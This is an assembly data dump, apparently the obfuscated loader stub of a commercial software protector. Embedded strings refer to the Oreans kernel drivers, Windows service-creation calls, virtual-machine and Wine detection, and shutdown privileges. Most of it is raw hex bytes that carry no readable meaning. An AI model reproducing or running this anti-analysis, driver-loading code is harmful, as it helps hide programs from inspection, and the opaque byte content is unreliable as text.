		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 5FBCAB14h, 0AFBF1DEAh, 66F78AB6h
		dd 0EE9D08Bh, 0EF000000h, 52338349h, 4096D0C4h,	363580A0h
		dd 0E8C08BB8h, 13h, 0EAE3A87Eh,	37A3CA39h, 86068638h, 12492C34h
		dd 6009980Ah, 0E959F951h, 7, 33DC1A8Ch,	61894075h, 48D0F5Fh
		dd 66000000h, 81D824BBh, 5C21C7h, 0CAA2BB00h, 0BA02BFh
		dd 8B000000h, 170C8BDEh, 21882EBBh, 78E98139h, 577AA8F6h
		dd 4F754EB8h, 0F181582Eh, 34010B1h, 68A0Fh, 0BD890000h
		dd 6071FB1h, 923EC181h,	0CB8020C2h, 0BE9513Dh, 16000000h
		dd 0F1DE1F38h, 4119EE0Dh, 48F31BAh, 979B417h, 70A71B5h
		dd 2EA8306h, 19A59D8Bh,	4A4A0607h, 22199D8Bh, 0FA810607h
		dd 0FFFFA4B4h, 16850Fh,	95890000h, 60711E1h, 24E9h, 0CD686900h
		dd 0DB960D29h, 0A79A334h, 6870Fh, 0BD890000h, 6070AA1h
		dd 0FFFF70E9h, 0D80D83FFh, 940BE6DAh, 99E9FEh, 622F0000h
		dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
		dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
		dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
		dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 9B594BDh,	840F0006h, 0Ah,	300185C7h, 10607h
		dd 85C60000h, 6072C05h,	0CFBE6847h, 4818A42h, 2A9CCF24h
		dd 2DB5FF06h, 8D06071Bh, 73B2485h, 0FFD0FF06h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1E840F00h
		dd 47000003h, 0F003F80h, 31484h, 1EE900h, 3F800000h, 6840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2E3E900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C6E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B7E9FFh, 0B58D0000h, 609B514h, 225E8h
		dd 0A9BD0300h, 830609B5h, 9B5A9BDh, 840F0006h, 0Bh, 0FF585C7h
		dd 10607h, 8DC30000h, 9B51FB5h,	1FCE806h, 0BD030000h, 609B5A9h
		dd 0B5A9BD83h, 0F000609h, 0B84h, 185C700h, 1060730h, 0C3000000h
		dd 0B598B58Dh, 0D3E80609h, 3000001h, 9B5A9BDh, 0A9BD8306h
		dd 609B5h, 0B840Fh, 85C70000h, 6072E21h, 1, 29B58DC3h
		dd 0E80609B5h, 1AAh, 0B5A9BD03h, 0BD830609h, 609B5A9h
		dd 0B840F00h, 0C7000000h, 7300185h, 106h, 0B58DC300h, 609B533h
		dd 181E8h, 0A9BD0300h, 830609B5h, 9B5A9BDh, 840F0006h
		dd 15h,	300185C7h, 10607h, 85C70000h, 6070FF5h,	1, 41B58DC3h
		dd 0E80609B5h, 14Eh, 0B5A9BD03h, 0BD830609h, 609B5A9h
		dd 0A840F00h, 0C7000000h, 702B585h, 106h, 4BB58D00h, 0E80609B5h
		dd 126h, 0B5A9BD03h, 0BD830609h, 609B5A9h, 0A840F00h, 0C7000000h
		dd 702B585h, 106h, 56B58D00h, 0E80609B5h, 0FEh,	0B5A9BD03h
		dd 0BD830609h, 609B5A9h, 0A840F00h, 0C7000000h,	71FBD85h
		dd 106h, 5CB58D00h, 0E80609B5h,	0D6h, 0B5A9BD03h, 0BD830609h
		dd 609B5A9h, 0A840F00h,	0C7000000h, 7209985h, 106h, 62B58D00h
		dd 0E80609B5h, 0AEh, 0B5A9BD03h, 0BD830609h, 609B5A9h
		dd 0A840F00h, 0C7000000h, 7329185h, 106h, 70B58D00h, 0E80609B5h
		dd 86h,	0B5A9BD03h, 0BD830609h,	609B5A9h, 0A840F00h, 0C7000000h
		dd 7024985h, 106h, 7DB58D00h, 0E80609B5h, 5Eh, 0B5A9BD03h
		dd 0BD830609h, 609B5A9h, 0A840F00h, 0C7000000h,	7110185h
		dd 106h, 88B58D00h, 0E80609B5h,	36h, 0B5A9BD03h, 0BD830609h
		dd 609B5A9h, 0A840F00h,	0C7000000h, 7088585h, 106h, 1E900h
		dd 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h, 0B960C3FFh
		dd 1, 1FE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h,	38178A00h
		dd 5840F16h, 0B9000000h, 0
aFga		db 'FG>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D0850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 609B5A9h, 0AE9h,	0A985C700h
		dd 609B5h, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h
		dd 60702B5h, 0
		dd 12E8C88Bh, 2C000000h, 5CB1E640h, 0BBC015E6h,	7CC47EF2h
		dd 0F4A230DEh, 0BA59FC12h, 520723F5h, 5B80C181h, 27BB0000h
		dd 0B8344991h, 36293B84h, 0DB28C081h, 0BD89C9D6h, 60707C9h
		dd 14E831FFh, 7D000000h, 0E43A18F7h, 3185748Ch,	0CB0E8670h
		dd 15B6CB2Ah, 529BD1D0h, 5F5BE6B6h, 0FAB70F5Eh,	7647EE81h
		dd 0B5296DBDh, 6072C5Dh, 8F21C681h, 9D0B2C38h, 6072839h
		dd 976BEE81h, 0BB666A01h, 8156692Bh, 486D77DAh,	8B018F15h
		dd 7326195h, 1E98306h, 1B7DBD23h, 49490607h, 0D7BF0F49h
		dd 1E881h, 850F0000h, 1Eh, 2AB98589h, 24E90607h, 0CE000000h
		dd 598D5399h, 0B619FD3Fh, 78C72B3Bh, 63606A91h,	0BD2BB66Ch
		dd 6071D55h, 0FFFF67E9h, 0F6E92AFFh, 0E954BC72h, 20Eh
		dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 72C0585h, 86684706h,	0FFE3E45Bh
		dd 71B2DB5h, 24858D06h,	0FF06073Bh, 10468D0h, 9D8D0000h
		dd 6070EA5h, 50D0FF53h,	0BC12B58Dh, 0FE8B0609h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 2C0585C6h
		dd 68430607h, 0BC8E6EFCh, 1B2DB5FFh, 858D0607h,	6073B24h
		dd 0B58DD0FFh, 6070EA5h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 72C0585h, 56685706h
		dd 0FFA69BEEh, 71B2DB5h, 24858D06h, 0FF06073Bh,	51BD8DD0h
		dd 8D060701h, 9BD388Dh,	57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 1AB58D00h,	8D0609BAh, 9A67685h, 8DD0FF06h
		dd 76D688Dh, 0B806h, 0E1FF0000h, 2C0585C6h, 68430607h
		dd 0C0764AA7h, 1B2DB5FFh, 858D0607h, 6073B24h, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0B7E90000h
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 10h
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
aSoftwareWine	db 'Software\Wine',0
		dw 0C48Bh
		dd 25CEAFB9h, 2D858967h, 6606072Ch, 8BD4FCBFh, 8E8C0h
		dd 13910000h, 0F33B1E2Ch, 0FE9F4D1h, 10000000h,	3672A082h
		dd 0B9BB5D9Fh, 68FC154Ah, 8359AF46h, 70FF5BDh, 9750006h
		dd 3001BD83h, 74000607h, 8B535019h, 43DB8C0h, 85890000h
		dd 60709D5h, 0ACA79D8Dh, 0D3FF0609h, 0BD83585Bh, 6073001h
		dd 50177400h, 43DB853h,	85890000h, 60709D5h, 0A9969D8Dh
		dd 0D3FF0609h, 0B70F585Bh, 0B5C08BFFh, 6AC08BAAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0ADBCC350h, 5F0422C9h, 0D58ACA22h, 0FF5BD83h, 75000607h
		dd 1BD8309h, 60730h, 53501374h,	0B8C08Bh, 8D000000h, 9AB499Dh
		dd 5BD3FF06h, 1BD8358h,	60730h,	53501174h, 0B8h, 0FA9D8D00h
		dd 0FF0609A9h, 66585BD3h, 1C30D781h, 0C08BC1B6h, 0FE8h
		dd 1DCF3100h, 4FF78A32h, 0E8820855h, 6DE4616Fh,	5F40D280h
		dd 0B589C08Bh, 6070DDDh, 0FF5BD83h, 75000607h, 1BD8309h
		dd 60730h, 53501374h, 0B8C08Bh,	8D000000h, 9AA7B9Dh, 5BD3FF06h
		dd 1BD8358h, 60730h, 53501174h,	0B8h, 0C89D8D00h, 0FF0609A9h
		dd 6A585BD3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 56FEC355h, 6AD78AAFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 3148C355h, 70DB9BDh,	0AE906h, 0F9540000h, 0F32C056h
		dd 0CA95894Eh, 6AC08Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 61EBE0C3h, 8C4FD8C8h, 0FC08BF1h
		dd 86h,	518D0B00h, 83060715h, 70FF5BDh,	9750006h, 3001BD83h
		dd 74000607h, 8B535013h, 0B8C0h, 9D8D0000h, 609AAE2h, 585BD3FFh
		dd 3001BD83h, 74000607h, 0B8535011h, 0
		dd 0A9E19D8Dh, 0D3FF0609h, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5A39DAC3h
		dd 0B0FFF05Eh, 661A22CFh, 0F79DF781h, 2B999D31h, 8F0F0607h
		dd 6, 1A6DBD89h, 0C08B0607h, 13A1958Bh,	0C08B0607h, 1EC58D89h
		dd 0BD830607h, 6070FF5h, 83097500h, 73001BDh, 13740006h
		dd 0C08B5350h, 0B8h, 149D8D00h,	0FF0609AAh, 0E8585BD3h
		dd 12h,	0B5F35F1Bh, 59FF0FE9h, 785D0A19h, 0D7764267h, 8E0F92F7h
		dd 6, 2759589h,	6A590607h, 3E85200h, 20000000h,	895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 61E9C352h, 0CC8A03DEh
		dd 95895952h, 6072D41h,	0BF66C08Bh, 0C08B8A9Eh,	19F806BAh
		dd 0F5BD830Ah, 6070Fh, 0BD830975h, 6073001h, 50197400h
		dd 0B8C08B53h, 7D0h, 9D58589h, 9D8D0607h, 609ACA7h, 585BD3FFh
		dd 3001BD83h, 74000607h, 0B8535017h, 7D0h, 9D58589h, 9D8D0607h
		dd 609A996h, 585BD3FFh,	31CFB70Fh, 71D058Dh, 8BC08B06h
		dd 72D75BDh, 585C606h, 5306072Ch, 55F18166h, 8B666009h
		dd 859529FEh, 61060701h, 395F9068h, 0E18A6099h,	4DD28166h
		dd 8F0F614Bh, 6, 1D39B501h, 0B5FF0607h,	6071B2Dh, 68C0F50h
		dd 8B000000h, 730C58Dh,	0F7815906h, 2CF1C3A8h, 3B24858Dh
		dd 85890607h, 607153Dh,	8B0FD0FFh, 14h,	0BE8h, 0A5E26200h
		dd 6571A82Ch, 80BCDE50h, 5A29D180h, 0D3EFB7BFh,	0BD85895Fh
		dd 66060700h, 85C6FB8Bh, 6072C05h, 79958957h, 68060731h
		dd 90045206h, 72DBD89h,	0B5FF0607h, 6071B2Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1BC35343h, 9D31281Eh
		dd 6D11A745h, 0B9958B51h, 5906072Fh, 3B24858Dh,	880F0607h
		dd 1, 66D0FFF9h, 7A9ECA81h, 1AC98589h, 6A0607h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 6F1704C3h, 0B70FBBC6h, 585C6CFh, 4306072Ch, 128B0Fh
		dd 0DE90000h, 5A000000h, 0FF0CE77h, 0B72DDC1Ch,	785AEBE3h
		dd 90702868h, 53006ABCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 2C72066Ah, 0C9956ECFh, 958B69BAh
		dd 6072EA5h, 0FFFABF0Fh, 71B2DB5h, 0A1858906h, 8D06071Ch
		dd 73B2485h, 0C8F0F06h,	0E9000000h, 7, 28879AE0h, 0FFD60C30h
		dd 52006AD0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 89EEB24Ah, 7137985h, 9D8D8906h, 0C6060714h
		dd 72C0585h, 8D894C06h,	60711C1h, 2E618D8Bh, 0E9680607h
		dd 6AD9DA1Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 85F4C350h, 1B2DB5FFh, 880F0607h
		dd 14h,	0CE8h, 0F4191B00h, 346E2C83h, 9976BCF4h, 5F5F51EBh
		dd 0B5B50960h, 6106071Ah, 3B24858Dh, 0D0FF0607h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B2C35343h, 0F1858964h
		dd 8B060710h, 72D31BDh,	585C606h, 4606072Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F4C35646h, 0DE061468h
		dd 0F1B531BAh, 0FF06071Ch, 71B2DB5h, 0F98B6006h, 8D61F78Bh
		dd 73B2485h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 747D1A4Fh, 0A9BD8BF4h, 0FF06070Ah
		dd 4D9589D0h, 0F060708h, 688h, 5D8D8B00h, 8906071Eh, 703B185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 31B5891Ch, 0E9060732h, 11h, 0B3075985h
		dd 8A16F884h, 1D4676F3h, 37A8C223h, 585C627h, 4706072Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 84C35343h
		dd 0A494197Bh, 68F9FB9Fh, 8A0FB5E2h, 0F8D0F60h,	0E9000000h
		dd 0Ah,	8EDF2232h, 0ACABA4B0h, 0F281D741h, 6B61E99Dh, 2DB5FF61h
		dd 0F06071Bh, 78Ah, 1810F00h, 0FC000000h, 3B24858Dh, 81660607h
		dd 0FF7304C1h, 895BB1D0h, 70BE185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0C6E0CDA9h
		dd 72C0585h, 4CBF4706h,	6878C64Ch, 83D0B5F3h, 2DB5FFF8h
		dd 8906071Bh, 701818Dh,	24858D06h, 906073Bh, 7274985h
		dd 89D0FF06h, 7316185h,	0F18D8B06h, 8906070Fh, 7320D85h
		dd 9D858906h, 0C6060715h, 72C0585h, 0BD337706h,	60715F9h
		dd 0DDD8509h, 0A3680607h, 6AF397A8h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8AB2C352h
		dd 0CE8B66D3h, 1B01B5FFh, 6E90607h, 8D000000h, 0BEBFA67Fh
		dd 24858DE6h, 6A06073Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 19BC351h, 730ED85h
		dd 9D0FF06h, 70829B5h, 69858906h, 8906072Bh, 70E458Dh
		dd 585C606h, 4706072Ch,	0C058531h, 0F6680607h, 6A8728FAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 8C24C351h, 2DB5FF34h, 6006071Bh, 0CFAA86BAh
		dd 61FA8B18h, 3B24858Dh, 0B9660607h, 0D0FF05D2h, 21D9B589h
		dd 85890607h, 60725F1h,	0C6F88B66h, 72C0585h, 66604306h
		dd 0DE5ED681h, 1F599D8Bh, 68610607h, 0BC8E6EFCh, 21818D01h
		dd 0B5FF0607h, 6071B2Dh, 5890Fh, 61BF0000h, 8D5D9F6Dh
		dd 73B2485h, 1D8D8906h,	0FF06070Dh, 89D18BD0h, 7072985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD29F5DAh, 60731D5h, 2C0585C6h,	53450607h
		dd 5EB054BAh, 69685A34h, 8B8E7269h, 2DB5FFD6h, 106071Bh
		dd 715DDB5h, 15858906h,	8D060702h, 73B2485h, 6AD0FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 89F0C351h, 707D185h, 585C606h, 4406072Ch
		dd 0A85B501h, 64680607h, 8BB8F2ECh, 2DB5FFCFh, 2906071Bh
		dd 707599Dh, 24858D06h,	0F06073Bh, 682h, 0EDB58900h, 0FF06070Bh
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0C260C3A1h, 89ED8051h, 7D8D8B5Fh, 89060713h
		dd 72BC585h, 158D8B06h,	0C6060708h, 72C0585h, 800F4306h
		dd 0
		dd 0EAC18166h, 4AA768C5h, 8589C076h, 6071B29h, 1B2DB5FFh
		dd 958B0607h, 6072CEDh,	3B24858Dh, 0BD030607h, 6071399h
		dd 4DB2D0FFh, 1FF98589h, 95010607h, 60708A1h, 0FBBD80h
		dd 0F00060Ah, 0F284h, 89958B00h, 8D06071Dh, 0A00DD85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 830F5040h, 5, 97E98166h,	0F505FBFh, 16ACEBFh
		dd 8B0Fh, 6A0000h, 6810F60h, 81000000h,	889CD1EFh, 0CE855h
		dd 14B30000h, 6704EA34h, 2AC73D6Eh, 0B52980EFh,	6072645h
		dd 6A6158h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 18h,	90C35040h, 65194A15h, 6018D8Bh,	13E90607h, 2B000000h
		dd 0BE79AF68h, 54CA00F8h, 0D7025FA4h, 7CFEFC23h, 95FFD3D8h
		dd 6071379h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0ADC35343h, 897565C4h, 7089DB5h, 0E9858906h, 0F806071Bh
		dd 8166FF6Ah, 0FF6CC6D2h, 71BE9B5h, 95FFF506h, 6071AC9h
		dd 8BE1CD80h, 0FBBF0FC0h, 0FF5BD83h, 75000607h,	1BD8309h
		dd 60730h, 53501974h, 0D1B8C08Bh, 89000007h, 709D585h
		dd 0A79D8D06h, 0FF0609ACh, 83585BD3h, 73001BDh,	17740006h
		dd 0D1B85350h, 89000007h, 709D585h, 969D8D06h, 0FF0609A9h
		dd 6A585BD3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 3F7AC355h, 0D9816614h,	958B6ED8h
		dd 6070529h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0ABC35343h, 92720457h, 809C82F4h, 0C08BF7F2h, 53F28B60h
		dd 59F98B66h, 585C661h,	4706072Ch, 14B1BD8Bh, 0C1680607h
		dd 8B93C8F7h, 728E1BDh,	5870F06h, 66000000h, 4D5EF81h
		dd 1B2DB5FFh, 0BA660607h, 858D6A30h, 6073B24h, 1800Fh
		dd 0FFF50000h, 0C146B9D0h, 0FC500EEEh, 51E858Dh, 8166060Ah
		dd 0C76B62C9h, 9400h, 85858900h, 5806072Dh, 8007DA81h
		dd 0B58D1080h, 60A051Eh, 11E99589h, 31560607h, 724A5BDh
		dd 0FD0FF06h, 85h, 1E858D00h, 66060A05h, 7883C88Bh, 850F0604h
		dd 54h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 0E8C35040h, 0F74D6156h, 0BF958AE8h, 4A8B947Ah, 5B285C7h
		dd 1060Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 7C6157C3h, 9746045h, 3171BD83h
		dd 0F000607h, 6385h, 837EB200h,	0A05B2BDh, 850F0006h, 54h
		dd 55BD89h, 0BD830607h,	60705FDh, 41840F00h, 0E8000000h
		dd 13h,	406D8C0Bh, 567BABD1h, 8D936AA2h, 0A7332619h, 6666E1FFh
		dd 5962B2BFh, 0C7D18B66h, 71CB985h, 6, 0CE900h,	3C370000h
		dd 935CAC78h, 8BFBD09Fh, 8D8BA098h, 6072615h, 60DB8C66h
		dd 0FBCE8166h, 9BBB66F0h, 0C3F66139h, 0D4840F04h, 0BA000005h
		dd 42613232h, 0FFBF0F60h, 0C761CF8Bh, 7218D85h,	6, 81666000h
		dd 80BB55D6h, 0B1611AEFh, 8BD8055h, 60A01h, 2F850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0C9FDEFC3h, 27949252h, 6810F99h, 29000000h, 710498Dh
		dd 585C606h, 4706072Ch,	0B554C781h, 86686C2Eh, 66E3E45Bh
		dd 0B5FFD38Bh, 6071B2Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0DEC35242h, 1999E45Dh, 8D8B57CAh, 6070D35h
		dd 0C58D3359h, 8D060730h, 73B2485h, 718D3306h, 0FF06072Dh
		dd 13E8D0h, 74350000h, 173C648Ch, 0BA10577h, 0C65535E9h
